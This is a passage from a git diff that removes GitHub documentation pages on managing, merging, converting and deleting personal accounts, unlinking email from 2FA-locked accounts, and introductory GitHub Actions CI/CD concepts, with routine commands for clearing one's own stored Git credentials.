-1. [Leave any organizations](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization) the personal account you're converting has joined.
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.organizations %}
-1. In the "Transform account" section, click **Turn USERNAME into an organization**.
-1. Review the warning, then click **Turn USERNAME into an organization**.
-1. Under "Choose an organization owner", type either the secondary personal account you created in the previous section, or another user you trust, to manage the organization.
-1. Choose your new organization's subscription and enter your billing information, if prompted.
-1. Click **Create Organization**.
-1. Sign in to the new personal account you created earlier, then use the context switcher to access your new organization.
-
-## Further reading
-
-* [AUTOTITLE](/organizations/organizing-members-into-teams)
-{% ifversion fpt or ghec %}
-* [AUTOTITLE](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)
-{% endif %}
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md
deleted file mode 100644
index afa605a4c8d2..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md
+++ /dev/null
@@ -1,72 +0,0 @@
----
-title: Deleting your personal account
-intro: 'You can delete your personal account on {% data variables.location.product_location %} at any time.'
-redirect_from:
- - /articles/deleting-a-user-account
- - /articles/deleting-your-user-account
- - /github/setting-up-and-managing-your-github-user-account/deleting-your-user-account
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Delete your account
----
-
-## About deletion of your personal account
-
-Deleting your personal account removes all repositories, forks of private repositories, wikis, issues, pull requests, and pages owned by your account. {% ifversion fpt or ghec %}Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted. Your resources and comments will become associated with the [ghost user](https://github.com/ghost).{% else %}Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted.{% endif %}
-
-{% ifversion fpt or ghec %}
-
-{% data reusables.accounts.delete-account-repo-namespace-retirement %}
-
-{% endif %}
-
-{% data reusables.package_registry.delete-account-namespace-retirement %}
-
-{% ifversion ghec %}
-
-> [!NOTE]
-> If your enterprise manages your account and you sign into {% data variables.product.github %} through your company's identity provider (IdP), you cannot delete your account. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users).
-
-{% endif %}
-
-{% ifversion fpt or ghec %}When you delete your account we stop billing you. The email address associated with the account becomes available for use with a different account. After 90 days, the account name also becomes available to anyone else to use on a new account.{% endif %}
-
-If you're the only owner of an organization, you must transfer ownership to another person or delete the organization before you can delete your personal account. If there are other owners in the organization, you must remove yourself from the organization before you can delete your personal account.
-
-For more information, see the following articles.
-
-* [AUTOTITLE](/organizations/managing-organization-settings/transferring-organization-ownership)
-* [AUTOTITLE](/organizations/managing-organization-settings/deleting-an-organization-account)
-* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization)
-
-{% ifversion ghes %}
-> [!NOTE]
-> * You should contact an enterprise owner before deleting your account on {% data variables.product.prodname_ghe_server %}.
-{% endif %}
-
-## Back up your account data
-
-Before you delete your personal account, make a copy of all repositories, private forks, wikis, issues, and pull requests owned by your account. For more information, see [AUTOTITLE](/repositories/archiving-a-github-repository/backing-up-a-repository).
-
-> [!WARNING]
-> Once your personal account has been deleted, {% ifversion fpt or ghec %}{% data variables.product.company_short %}{% elsif ghes %}an enterprise owner{% endif %} cannot restore your content.
-
-## Deleting your personal account
-
-{% data reusables.user-settings.access_settings %}
-{% data reusables.user-settings.account_settings %}
-1. At the bottom of the Account Settings page, under "Delete account", click **Delete your account**. Before you can delete your personal account:
- * If you're the only owner in the organization, you must transfer ownership to another person or delete your organization.
- * If there are other organization owners in the organization, you must remove yourself from the organization.
-1. In the "Make sure you want to do this" dialog box, complete the steps to confirm you understand what happens when your account is deleted:
- {% ifversion fpt or ghec %}- Recall that all repositories, forks of private repositories, wikis, issues, pull requests and {% data variables.product.prodname_pages %} sites owned by your account will be deleted. Your billing will end immediately. Your username will be available for anyone to use after 90 days.{% else %}
- * Recall that all repositories, forks of private repositories, wikis, issues, pull requests and pages owned by your account will be deleted, and your username will be available for use.{% endif %}
- * In the first field, type your username or email.
- * In the second field, type the phrase from the prompt.
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md
deleted file mode 100644
index 9cdc2ce522d3..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: Managing your personal account
-intro: 'You can manage your personal account on {% data variables.product.github %}. For example, you can {% ifversion fpt or ghec %}manage multiple accounts, {% endif %}convert an account to an organization, or delete an account.'
-shortTitle: Manage personal account
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-topics:
- - Accounts
-children:
- - /managing-multiple-accounts
- - /merging-multiple-personal-accounts
- - /converting-a-user-into-an-organization
- - /best-practices-for-leaving-your-company
- - /unlinking-your-email-address-from-a-locked-account
- - /deleting-your-personal-account
----
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md
deleted file mode 100644
index 223900bc1c2c..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md
+++ /dev/null
@@ -1,127 +0,0 @@
----
-title: Managing multiple accounts
-intro: 'If you use one workstation to contribute to projects for more than one account, you can modify your Git configuration to simplify the contribution process.'
-versions:
- feature: multiple-accounts-one-workstation
-topics:
- - Accounts
- - Git
- - GitHub
-shortTitle: Manage multiple accounts
----
-
-## About management of multiple accounts
-
-In some cases, you may need to use multiple accounts on {% data variables.product.github %}. For example, you may have a personal account for open source contributions, and your employer may also create and manage a user account for you within an enterprise.
-
-You cannot use a {% data variables.enterprise.prodname_managed_user %} to contribute to public projects on {% data variables.location.product_location %}, so you must contribute to those resources using your personal account. For more information, see [About {% data variables.product.prodname_emus %}]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-user-accounts){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% elsif ghec %}.{% endif %}
-
-{% ifversion account-switcher %}
-
-If you need to use multiple accounts, you can stay signed in to your accounts and switch between them. For example, switching between a personal account and a service account. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/switching-between-accounts).
-
-{% endif %}
-
-If you want to use one workstation to contribute from both accounts, you can simplify contribution with Git by using a mixture of protocols to access repository data, or by using credentials on a per-repository basis.
-
-> [!WARNING]
-> Be mindful when you use one workstation to contribute to two separate accounts. Management of two or more accounts can increase the chance of mistakenly leaking internal code to the public.
-
-If you aren't required to use a {% data variables.enterprise.prodname_managed_user %}, {% data variables.product.company_short %} recommends that you use one personal account for all your work on {% data variables.location.product_location %}. With a single personal account, you can contribute to a combination of personal, open source, or professional projects using one identity. Other people can invite the account to contribute to both individual repositories and repositories owned by an organization, and the account can be a member of multiple organizations or enterprises.
-
-## Contributing to two accounts using HTTPS and SSH
-
-If you contribute with two accounts from one workstation, you can access repositories by using a different protocol and credentials for each account.
-
-Git can use either the HTTPS or SSH protocol to access and update data in repositories on {% data variables.product.github %}. The protocol you use to clone a repository determines which credentials your workstation will use to authenticate when you access the repository. With this approach to account management, you store the credentials for one account to use for HTTPS connections and upload an SSH key to the other account to use for SSH connections.
-
-You can find both the HTTPS or an SSH URLs for cloning a repository on the repository's page. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository).
-
-For more information about the use of SSH to access repositories, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh).
-
-## Contributing to multiple accounts using HTTPS and {% data variables.product.pat_generic %}s
-
-Alternatively, if you want to use the HTTPS protocol for both accounts, you can use different {% data variables.product.pat_generic %}s for each account by configuring Git to store different credentials for each repository.
-
-{% mac %}
-
-{% data reusables.git.open-terminal %}
-{% data reusables.git.confirm-credential-manager %}
-{% data reusables.git.clear-the-stored-credentials %}
- {% data reusables.git.no-credential-manager %}
- * If the output is `osxkeychain`, you're using the macOS keychain. To clear the credentials, you can use the credential helper on the command line:
-
- ```shell
- $ git credential-osxkeychain erase
- host={% data variables.product.product_url %}
- protocol=https
- > [Press Return]
- >
- ```
-
- {% data reusables.git.clear-stored-gcm-credentials %}
-
- ```shell copy
- echo "protocol=https\nhost=github.com" | git credential-manager erase
- ```
-{% data reusables.git.cache-on-repository-path %}
-{% data reusables.accounts.create-personal-access-tokens %}
-{% data reusables.git.provide-credentials %}
-
-{% endmac %}
-
-{% windows %}
-
-1. Open Git Bash.
-{% data reusables.git.confirm-credential-manager %}
-{% data reusables.git.clear-the-stored-credentials %}
- {% data reusables.git.no-credential-manager %}
- {% data reusables.git.clear-stored-gcm-credentials %}
-
- ```shell copy
- echo "protocol=https`nhost=github.com" | git credential-manager erase
- ```
-
- * If the output is `wincred`, you're using the Windows Credential Manager. To clear the credentials, enter the following command.
-
- ```shell copy
- cmdkey /delete:LegacyGeneric:target=git:https://github.com
- ```
-
-{% data reusables.git.cache-on-repository-path %}
-{% data reusables.accounts.create-personal-access-tokens %}
-{% data reusables.git.provide-credentials %}
-
-{% endwindows %}
-
-{% linux %}
-
-{% data reusables.git.open-terminal %}
-{% data reusables.git.confirm-credential-manager %}
-{% data reusables.git.clear-the-stored-credentials %}
- {% data reusables.git.no-credential-manager %}
- {% data reusables.git.clear-stored-gcm-credentials %}
-
- ```shell copy
- echo "protocol=https\nhost=github.com" | git credential-manager erase
- ```
-{% data reusables.git.cache-on-repository-path %}
-{% data reusables.accounts.create-personal-access-tokens %}
-{% data reusables.git.provide-credentials %}
-
-{% endlinux %}
-
-## Contributing to multiple accounts using SSH and `GIT_SSH_COMMAND`
-
-If you want to use the SSH protocol for both accounts, you can use different SSH keys for each account. For more information about using SSH, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh).
-
-To use a different SSH key for different repositories that you clone to your workstation, you must write a shell wrapper function for Git operations. The function should perform the following steps.
-1. Determine the repository's full name with owner, using a command such as `git config --get remote.origin.url`.
-1. Choose the correct SSH key for authentication.
-1. Modify `GIT_SSH_COMMAND` accordingly. For more information about `GIT_SSH_COMMAND`, see [Environment Variables](https://git-scm.com/docs/git#Documentation/git.txt-codeGITSSHCOMMANDcode) in the Git documentation.
-
-For example, the following command sets the `GIT_SSH_COMMAND` environment variable to specify an SSH command that uses the private key file at **_PATH/TO/KEY/FILE_** for authentication to clone the repository named OWNER/REPOSITORY on {% data variables.location.product_location %}.
-
-```shell copy
-GIT_SSH_COMMAND='ssh -i PATH/TO/KEY/FILE -o IdentitiesOnly=yes' git clone git@github.com:OWNER/REPOSITORY
-```
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts.md
deleted file mode 100644
index c546ce33192b..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: Merging multiple personal accounts
-intro: 'If you have separate accounts for work and personal use, you can merge the accounts.'
-redirect_from:
- - /articles/can-i-merge-two-accounts
- - /articles/keeping-work-and-personal-repositories-separate
- - /articles/merging-multiple-user-accounts
- - /github/setting-up-and-managing-your-github-user-account/merging-multiple-user-accounts
- - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts
- - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts
- - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/merging-multiple-personal-accounts
-versions:
- fpt: '*'
- ghec: '*'
-topics:
- - Accounts
-shortTitle: Merge multiple accounts
----
-
-{% ifversion ghec %}
-
-> [!TIP]
-> {% data variables.product.prodname_emus %} allow an enterprise to provision unique personal accounts for its members through an identity provider (IdP). For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). For other use cases, we recommend using only one personal account to manage both personal and professional repositories.
-
-{% else %}
-
-> [!TIP]
-> We recommend using only one personal account to manage both personal and professional repositories.
-
-{% endif %}
-
-> [!WARNING]
-> * Organization and repository access permissions aren't transferable between accounts. If the account you want to delete has an existing access permission, an organization owner or repository administrator will need to invite the account that you want to keep.
-> * Any commits authored with a {% data variables.product.company_short %}-provided `noreply` email address cannot be transferred from one account to another. If the account you want to delete used the **Keep my email address private** option, it won't be possible to transfer the commits authored by the account you are deleting to the account you want to keep.
-> * Issues, pull requests, and discussions will not be attributed to the new account.
-> * Achievements are not able to be transferred between accounts.
-
-1. [Transfer any repositories](/repositories/creating-and-managing-repositories/transferring-a-repository) from the account you want to delete to the account you want to keep. Issues, pull requests, and wikis are transferred as well. Verify the repositories exist on the account you want to keep.
-1. [Update the remote URLs](/get-started/git-basics/managing-remote-repositories) in any local clones of the repositories that were moved.
-1. To attribute past commits to the new account, add the email address you used to author the commits to the account you're keeping. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)
-1. [Delete the account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account) you no longer want to use.
-
-## Further reading
-
-* [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts)
diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/unlinking-your-email-address-from-a-locked-account.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/unlinking-your-email-address-from-a-locked-account.md
deleted file mode 100644
index 3834acfdb0e0..000000000000
--- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/unlinking-your-email-address-from-a-locked-account.md
+++ /dev/null
@@ -1,54 +0,0 @@
----
-title: Unlinking your email address from a locked account
-intro: 'If you have lost your two-factor authentication (2FA) credentials and are unable to recover access, you can remove the connection between your email address and a 2FA locked account. The email address is then available for you to link it to a new or existing account, maintaining your commit history.'
-redirect_from:
- - /early-access/account-and-profile/unlinking-your-email-address-from-a-locked-account
-versions:
- fpt: '*'
- ghec: '*'
-topics:
- - Accounts
- - 2FA
-shortTitle: Unlink your email
----
-
-## About unlinking your email address
-
-Since an email address can only be associated with a single {% data variables.product.prodname_dotcom %} account, when you've lost your 2FA credentials and are unable to recover access, unlinking your email address from the locked account allows you to link that email address to a new or existing account. Additionally, linking a previously used commit email address to a new account will connect your commit history to that account. Unless you have chosen to keep your email address private, your account's commit email address is the same as your account's primary email address. See [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address).
-
-> [!NOTE]
-> The {% data variables.product.github %}-provided `noreply` email address cannot be unlinked from an account. Commits authored with a `noreply` address cannot be reconnected to a different account.
-
-Be aware that nothing else associated with your 2FA locked account, including your repositories, permissions, and profile, will transfer to your new account.
-
-## Unlinking your email address
-
-Unlinking email addresses is only available for accounts with 2FA enabled. If you do not have 2FA enabled, you can sign in and remove your email address from your account settings.
-
-> [!WARNING]
-> Following these steps will not disable 2FA or provide access to a locked account, but will instead unlink the associated email address so it may be used for a different account. If you cannot regain access to the 2FA locked account, these steps will permanently break the link between the account and the linked email address. Before continuing with this article, be sure you have lost all access to your account. See [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials).
->
-> Educational benefits and discounts cannot be transferred after an email address is unlinked and associated with a different account. To keep these benefits, you must continue using the original account that was used to apply.
-
-### Unlinking with your password
-
-If you know your password, you can sign in with your password to unlink your email address
-
-1. Navigate to [https://github.com/login](https://github.com/login).
-1. To prompt two-factor authentication, type your username and password, then click **Sign in**.
-1. Under "Having problems?", click **Use a recovery code or begin 2FA account recovery**.
-1. Under "Locked out?", click **Try 2FA account recovery, or unlink your account email address(es)**.
-1. In the modal that appears, click **I understand, get started**.
-1. You may be required to verify an email address. To send an email containing a one-time password to each email address associated with your account, click **Send one-time password**.
-1. To verify your identity, type the one-time password from your email in the "One-time password" text field, then click **Verify email address**.
-{% data reusables.accounts.unlinking-email-address %}
-
-### Unlinking without your password
-
-If you do not know your account password, you can request a password reset link to unlink your email address.
-
-{% data reusables.accounts.request-password-reset-link %}
-
-1. On {% data variables.product.prodname_dotcom %}, you will be prompted for your 2FA credentials. Under "Having problems?", click **Start a 2FA recovery request or unlink your account email address(es)**.
-1. In the modal that appears, click **I understand, get started**.
-{% data reusables.accounts.unlinking-email-address %}
diff --git a/content/actions/about-github-actions/about-continuous-deployment-with-github-actions.md b/content/actions/about-github-actions/about-continuous-deployment-with-github-actions.md
deleted file mode 100644
index 9ab36f3a06e5..000000000000
--- a/content/actions/about-github-actions/about-continuous-deployment-with-github-actions.md
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: About continuous deployment with GitHub Actions
-shortTitle: Continuous deployment
-intro: 'You can create custom continuous deployment (CD) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: overview
-redirect_from:
- - /actions/deployment/about-continuous-deployment
- - /actions/deployment/about-deployments/about-continuous-deployment
- - /actions/deployment/about-deployments
- - /actions/about-github-actions/about-continuous-deployment
-topics:
- - CD
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## About continuous deployment
-
-_Continuous deployment_ (CD) is the practice of using automation to publish and deploy software updates. As part of the typical CD process, the code is automatically built and tested before deployment.
-
-Continuous deployment is often coupled with continuous integration. For more information about continuous integration, see [AUTOTITLE](/actions/automating-builds-and-tests/about-continuous-integration).
-
-## About continuous deployment using {% data variables.product.prodname_actions %}
-
-You can set up a {% data variables.product.prodname_actions %} workflow to deploy your software product. To verify that your product works as expected, your workflow can build the code in your repository and run your tests before deploying.
-
-You can configure your CD workflow to run when an event occurs (for example, when new code is pushed to the default branch of your repository), on a set schedule, manually, or when an external event occurs using the repository dispatch webhook. For more information about when your workflow can run, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows).
-
-{% data variables.product.prodname_actions %} provides features that give you more control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets. You can use concurrency to limit your CD pipeline to a maximum of one in-progress deployment and one pending deployment. For more information about these features, see [AUTOTITLE](/actions/deployment/about-deployments/deploying-with-github-actions) and [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment).
-
-## Using OpenID Connect to access cloud resources
-
-{% data reusables.actions.about-oidc-short-overview %}
-
-## Workflow templates and third party actions
-
-{% data reusables.actions.cd-templates-actions %}
-
-## Further reading
-
-* [AUTOTITLE](/actions/use-cases-and-examples/deploying)
-* [AUTOTITLE](/actions/deployment/about-deployments/deploying-with-github-actions)
-* [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment){% ifversion fpt or ghec %}
-* [AUTOTITLE](/billing/managing-billing-for-github-actions){% endif %}
diff --git a/content/actions/about-github-actions/about-continuous-integration-with-github-actions.md b/content/actions/about-github-actions/about-continuous-integration-with-github-actions.md
deleted file mode 100644
index 0c24fc3aa86e..000000000000
--- a/content/actions/about-github-actions/about-continuous-integration-with-github-actions.md
+++ /dev/null
@@ -1,55 +0,0 @@
----
-title: About continuous integration with GitHub Actions
-intro: 'You can create custom continuous integration (CI) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.'
-redirect_from:
- - /articles/about-continuous-integration
- - /github/automating-your-workflow-with-github-actions/about-continuous-integration
- - /actions/automating-your-workflow-with-github-actions/about-continuous-integration
- - /actions/building-and-testing-code-with-continuous-integration/about-continuous-integration
- - /actions/guides/about-continuous-integration
- - /actions/automating-builds-and-tests/about-continuous-integration
- - /actions/about-github-actions/about-continuous-integration
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: overview
-topics:
- - CI
-shortTitle: Continuous integration
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## About continuous integration
-
-Continuous integration (CI) is a software practice that requires frequently committing code to a shared repository. Committing code more often detects errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts.
-
-When you commit code to your repository, you can continuously build and test the code to make sure that the commit doesn't introduce errors. Your tests can include code linters (which check style formatting), security checks, code coverage, functional tests, and other custom checks.
-
-Building and testing your code requires a server. You can build and test updates locally before pushing code to a repository, or you can use a CI server that checks for new code commits in a repository.
-
-## About continuous integration using {% data variables.product.prodname_actions %}
-
- CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on {% data variables.product.prodname_dotcom %}-hosted virtual machines, or on machines that you host yourself. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners).
-
-You can configure your CI workflow to run when a {% data variables.product.prodname_dotcom %} event occurs (for example, when new code is pushed to your repository), on a set schedule, or when an external event occurs using the repository dispatch webhook.
-
-{% data variables.product.github %} runs your CI tests and provides the results of each test in the pull request, so you can see whether the change in your branch introduces an error. When all CI tests in a workflow pass, the changes you pushed are ready to be reviewed by a team member or merged. When a test fails, one of your changes may have caused the failure.
-
-When you set up CI in your repository, {% data variables.product.github %} analyzes the code in your repository and recommends CI workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.github %} will suggest a workflow template that installs your Node.js packages and runs your tests. You can use the CI workflow template suggested by {% data variables.product.github %}, customize the suggested workflow template, or create your own custom workflow file to run your CI tests.
-
-In addition to helping you set up CI workflows for your project, you can use {% data variables.product.prodname_actions %} to create workflows across the full software development life cycle. For example, you can use actions to deploy, package, or release your project. For more information, see [AUTOTITLE](/actions/learn-github-actions).
-
-For a definition of common terms, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions).
-
-## Workflow templates
-
-{% data variables.product.github %} offers CI workflow templates for a variety of languages and frameworks.
-
-Browse the complete list of CI workflow templates offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.product.prodname_dotcom_the_website %}{% endif %}.
-
-## Further reading
-
-* [AUTOTITLE](/actions/use-cases-and-examples/building-and-testing){% ifversion fpt or ghec %}
-* [AUTOTITLE](/billing/managing-billing-for-github-actions){% endif %}
diff --git a/content/actions/about-github-actions/index.md b/content/actions/about-github-actions/index.md
deleted file mode 100644
index afac6b532280..000000000000
--- a/content/actions/about-github-actions/index.md
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: About GitHub Actions
-shortTitle: About GitHub Actions
-intro: '{% data variables.product.prodname_actions %} is a tool that you can use to build automations to assist with each stage of the software development lifecycle. This section describes {% data variables.product.prodname_actions %} concepts, common terminology, and some high level use cases.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /understanding-github-actions
- - /about-continuous-integration-with-github-actions
- - /about-continuous-deployment-with-github-actions
----
-
diff --git a/content/actions/about-github-actions/understanding-github-actions.md b/content/actions/about-github-actions/understanding-github-actions.md
deleted file mode 100644
index b3ae4b838921..000000000000
--- a/content/actions/about-github-actions/understanding-github-actions.md
+++ /dev/null
@@ -1,108 +0,0 @@
----
-title: Understanding GitHub Actions
-shortTitle: Understand GitHub Actions
-intro: 'Learn the basics of {% data variables.product.prodname_actions %}, including core concepts and essential terminology.'
-redirect_from:
- - /github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions
- - /actions/automating-your-workflow-with-github-actions/core-concepts-for-github-actions
- - /actions/getting-started-with-github-actions/core-concepts-for-github-actions
- - /actions/learn-github-actions/introduction-to-github-actions
- - /actions/learn-github-actions/understanding-github-actions
- - /actions/learn-github-actions/essential-features-of-github-actions
- - /articles/getting-started-with-github-actions
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: overview
-topics:
- - Fundamentals
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Overview
-
-{% data reusables.actions.about-actions %} You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production.
-
-{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository.
-
-{% ifversion fpt or ghec %}
-
-{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure.
-
-{% elsif ghes %}
-
-You must host your own Linux, Windows, or macOS virtual machines to run workflows for {% data variables.location.product_location %}. {% data reusables.actions.self-hosted-runner-locations %}
-
-{% endif %}
-
-{% ifversion ghec or ghes %}
-
-For more information about introducing {% data variables.product.prodname_actions %} to your enterprise, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise).
-
-{% endif %}
-
-## The components of {% data variables.product.prodname_actions %}
-
-You can configure a {% data variables.product.prodname_actions %} **workflow** to be triggered when an **event** occurs in your repository, such as a pull request being opened or an issue being created. Your workflow contains one or more **jobs** which can run in sequential order or in parallel. Each job will run inside its own virtual machine **runner**, or inside a container, and has one or more **steps** that either run a script that you define or run an **action**, which is a reusable extension that can simplify your workflow.
-
-
-
-### Workflows
-
-{% data reusables.actions.about-workflows-long %}
-
-You can reference a workflow within another workflow. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows).
-
-For more information, see [AUTOTITLE](/actions/using-workflows).
-
-### Events
-
-An **event** is a specific activity in a repository that triggers a **workflow** run. For example, an activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository. You can also trigger a workflow to run on a [schedule](/actions/using-workflows/events-that-trigger-workflows#schedule), by [posting to a REST API](/rest/repos/repos#create-a-repository-dispatch-event), or manually.
-
-For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/using-workflows/events-that-trigger-workflows).
-
-### Jobs
-
-A **job** is a set of **steps** in a workflow that is executed on the same **runner**. Each step is either a shell script that will be executed, or an **action** that will be run. Steps are executed in order and are dependent on each other. Since each step is executed on the same runner, you can share data from one step to another. For example, you can have a step that builds your application followed by a step that tests the application that was built.
-
-You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel. When a job takes a dependency on another job, it waits for the dependent job to complete before running.
-
-For example, you might configure multiple build jobs for different architectures without any job dependencies and a packaging job that depends on those builds. The build jobs run in parallel, and once they complete successfully, the packaging job runs.
-
-For more information, see [AUTOTITLE](/actions/using-jobs).
-
-### Actions
-
-An **action** is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task. Use an action to help reduce the amount of repetitive code that you write in your **workflow** files. An action can pull your Git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider.
-
-You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}.
-
-{% data reusables.actions.internal-actions-summary %}
-
-For more information on actions, see [AUTOTITLE](/actions/creating-actions).
-
-### Runners
-
-A **runner** is a server that runs your workflows when they're triggered. Each runner can run a single **job** at a time.
-{% ifversion ghes %} You must host your own runners for {% data variables.product.prodname_ghe_server %}.
-{% elsif fpt or ghec %}{% data variables.product.company_short %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your **workflows**. Each workflow run executes in a fresh, newly-provisioned virtual machine.
-
-{% ifversion actions-hosted-runners %} {% data variables.product.prodname_dotcom %} also offers {% data variables.actions.hosted_runner %}s, which are available in larger configurations. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/using-larger-runners).
-{% endif %}
-If you need a different operating system or require a specific hardware configuration, you can host your own runners.
-{% endif %}
-
-For more information{% ifversion fpt or ghec %} about self-hosted runners{% endif %}, see [AUTOTITLE](/actions/hosting-your-own-runners).
-
-## Next steps
-
-{% data reusables.actions.onboarding-next-steps %}
-
-{% ifversion ghec or ghes %}
-
-## Further reading
-
-* [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)
-{% endif %}
diff --git a/content/actions/administering-github-actions/index.md b/content/actions/administering-github-actions/index.md
deleted file mode 100644
index f3c6a7bd98ba..000000000000
--- a/content/actions/administering-github-actions/index.md
+++ /dev/null
@@ -1,15 +0,0 @@
----
-title: Administering GitHub Actions
-shortTitle: Administer GitHub Actions
-intro: 'Manage {% data variables.product.prodname_actions %} settings for your organization or enterprise.'
